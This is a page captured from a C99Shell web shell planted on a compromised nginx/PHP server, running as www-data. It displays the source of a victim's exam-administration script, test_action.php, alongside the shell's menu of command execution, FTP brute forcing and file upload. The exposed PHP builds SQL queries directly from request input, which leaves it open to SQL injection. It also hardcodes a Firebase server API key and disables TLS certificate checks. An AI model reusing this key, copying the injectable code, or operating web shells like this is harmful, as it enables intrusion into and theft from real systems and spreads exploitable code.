!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test_action.php (6.04 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require 'connection.php';


$technology=$_REQUEST['technology'];
$semester=$_REQUEST['semester'];
$subject=$_REQUEST['subject'];
$question=$_REQUEST['question'];
$option_a=$_REQUEST['optiona'];
$option_b=$_REQUEST['optionb'];
$option_c=$_REQUEST['optionc'];
$option_d=$_REQUEST['optiond'];
$correct=$_REQUEST['correct'];
$exam_title=$_REQUEST['title'];
$qtype=$_REQUEST['qtype'];

//echo $qtype;die();
$query="select * from exam where exam_title='$exam_title'";
$res=$con->query($query);
$co=$res->fetch_assoc();
$exam_id=$co['exam_id'];
$examtime=$co['examtime'];

if(
$qtype=='Excel Upload'){
     
$csvMimes = array('text/x-comma-separated-values''text/comma-separated-values''application/octet-stream''application/vnd.ms-excel''application/x-csv''text/x-csv''text/csv''application/csv''application/excel''application/vnd.msexcel''text/plain');
    
    
// Validate whether selected file is a CSV file
    
if(!empty($_FILES['excel_up']['name']) && in_array($_FILES['excel_up']['type'], $csvMimes)){
        
        
// If the file is uploaded
        
if(is_uploaded_file($_FILES['excel_up']['tmp_name'])){
            
            
// Open uploaded CSV file with read-only mode
            
$csvFile fopen($_FILES['excel_up']['tmp_name'], 'r');
            
            
// Skip the first line
            
fgetcsv($csvFile);
            
// $prevResult = $con->query("SELECT id FROM syllabus WHERE technology = '$technology' and package='$package'");
            // $row = mysqli_fetch_assoc($prevResult);
            // if($prevResult->num_rows > 0){
            //     $syllabusid=$row['id'];
            //     $con->query("DELETE  FROM syllabus_topics WHERE syllabus_id = '$syllabusid'");
            // }else{
            //     $add=$con->query("INSERT INTO syllabus (technology,package) VALUES ('$technology','$package')");
            //     $syllabusid=$con->insert_id;;
            // }
            // Parse data from CSV file line by line
            
while(($line fgetcsv($csvFile)) !== FALSE){
                
// Get row data
                
$question   $line[0];
                
$option_a =$line[1];
                  
$option_b =$line[2];
                    
$option_c =$line[3];
                      
$option_d =$line[4];
                      
$correct=$line[5];
                      
                
$add=$con->query("insert into online_test(question,a,b,c,d,semester,subject,batch_id,correct_answer,submit_answer,exam_id) values('$question','$option_a','$option_b','$option_c','$option_d','$semester','$subject','$technology','$correct','1','$exam_id')");
            }
            
            
// Close opened CSV file
            
fclose($csvFile);
            
            
$qstring '?status=succ';






            
        }else{
            
$qstring '?status=err';
        }
    }else{
        
$qstring '?status=invalid_file';
    }

header("Location: test_question.php".$qstring);
}
else{
if(
$exam_id!=''){
$sql="insert into online_test(question,a,b,c,d,semester,subject,batch_id,correct_answer,submit_answer,exam_id) values('$question','$option_a','$option_b','$option_c','$option_d','$semester','$subject','$technology','$correct','1','$exam_id')";
$result=$con->query($sql);
$count=$con->affected_rows;
if(
$count>0){
    
$c=0;
    
//header('location:online_test.php?status=success');
           
$sql2=$con->query("select count(*) from `online_test` where exam_id=$exam_id");
            
$count2=$sql2->num_rows;
if(
$count2>0){
           while(
$row2=$sql2->fetch_assoc()){
          
$c=$row2['count(*)'];

}}

    if(
$c==$examtime){

 
$sql1="SELECT *
FROM `user_details`
 INNER JOIN enrolldetails ON user_details.user_id=enrolldetails.user_id where enrolldetails.course_id=
$semester  ";
  
$result1=$con->query($sql1);
   
$count1=$result1->num_rows;
while(
$row1=$result1->fetch_assoc()){
$phone=$row1['phone'];
$sql2="select * from `tb_user` WHERE phone='$phone' and device_token!=''";
$result2=$con_it->query($sql2);
$count2=$result2->num_rows;
$device="";
if(
$count2>0){
    while (
$row2=$result2->fetch_assoc()) {
        
$device=$row2['device_token'];
        
$user=$row2['user_id'];
    


// API access key from Google API's Console
define'API_ACCESS_KEY','AAAABLsF19c:APA91bEwIVggcRMYaF4ZHZtpTjaMYSgnvN3Pc5F-R0IRftn1b4_VHsaFpUkzA5ilpZOHiBtStx5edgWc_zQs9bB4lbiW0AErUgfGBq7JOWKQVDBq1VZt2A6z_au1_T_nZOC0kvEUqIP0');

 
// $device="cc1wbmjCR5-80c0uTdK4mx:APA91bG4Xw4PMETnNC_9Bz7FM786mD6nhEToZ9CG7kBb1lp2dSU6J0i2y7gIkseteNeEGSOO_ocbRovtAXVTarUHzP6QO6Y0spyV-XPEyquRsUenutP5jzvmGBlfTzyoWjQsO7ascMth";
$registrationIds = array($device);

$da="select * from technologies where id='$technology'";
 
$daresult=$con->query($da);
 
$daRow=$daresult->fetch_assoc();
 
$name=$daRow['name'];
$msg= array('Category'=>'Exam','From'=>'srishti campus','Technology'=>$name,'Subject'=>$subject);
$fields = array
(
    
'registration_ids'     => $registrationIds,
    
'data'            => $msg
);




 
$headers = array
(
    
'Authorization: key=' API_ACCESS_KEY,
    
'Content-Type: application/json'
);
 
$ch curl_init();
curl_setopt$ch,CURLOPT_URL'https://fcm.googleapis.com/fcm/send' );
curl_setopt$ch,CURLOPT_POSTtrue );
curl_setopt$ch,CURLOPT_HTTPHEADER$headers );
curl_setopt$ch,CURLOPT_RETURNTRANSFERtrue );
curl_setopt$ch,CURLOPT_SSL_VERIFYPEERfalse );
curl_setopt$ch,CURLOPT_POSTFIELDSjson_encode($fields));
//curl_setopt( $ch,CURLOPT_POSTFIELDS, json_decode( $fields ) );
$response curl_exec($ch );



curl_close($ch);

 
date_default_timezone_set('Asia/Kolkata');

 
$post = array("payload"=>$msg);
 
$da="select * from technologies where id='$technology'";
 
$daresult=$con->query($da);
 
$daRow=$daresult->fetch_assoc();
 
$name=$daRow['name'];
 
$for='for Technology:'.$name.',Subject:'.$subject.'';
 
$date=date('Y-m-d H:i:s');

     
$notify="insert into app_notifications(title,description,date,type,user_id,read_count) values('New Exam added','$for','$date','a','$user',0)";
     
$notifyResult=$con_it->query($notify);
$notifyResultaffect=$notifyResult->affected_rows;

 

//echo (json_encode($post));
}
}}

    }

    
// echo "success";
    
header('location:test_question.php?status=failed');

}

}
else{
    
header('location:test_question.php?status=failed');
    
//echo 'failed';
}
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0061 ]--